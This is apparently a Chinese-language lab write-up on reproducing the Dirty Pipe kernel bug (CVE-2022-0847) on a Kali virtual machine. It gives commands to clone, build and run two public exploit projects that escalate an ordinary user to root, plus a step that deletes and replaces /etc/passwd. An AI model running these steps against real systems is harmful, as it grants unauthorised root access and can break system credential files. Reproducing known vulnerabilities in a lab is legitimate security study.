脏管漏洞原理
原文链接:https://dirtypipe.cm4all.com/
复现环境
kali虚拟机,普通用户
项目
参考链接:https://github.com/imfiver/CVE-2022-0847
项目下载:https://github.com/imfiver/CVE-2022-0847
依赖:gcc,git
利用过程
先用git将github中的项目克隆下来
git clone https://github.com/imfiver/CVE-2022-0847.git
跳转到脚本所在文件夹
cd CVE-2022-0847
赋予脚本权限
chmod +x Dirty-Pipe.sh
运行脚本
bash Dirty-Pipe.sh
攻击结果
直接从普通用户提权到root用户。下面也有恢复密码的方法。
rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd
并且切换用户时,root账户不需要密码就可以登录
另一个类似的
项目地址:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
利用过程
下载命令
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
cd CVE-2022-0847-DirtyPipe-Exploit-main
编译文件./compile.sh
运行文件./exploit
攻击结果
按作者所说,应该弹一个root权限的shell,但我的好像是什么系统函数调用失败,只是把root账号的密码改成了aaron
。后面试了普通用户的密码,root用户的密码,确实都失败了,用aaron
才成功。切换用户试了试,也是aaron
才成功。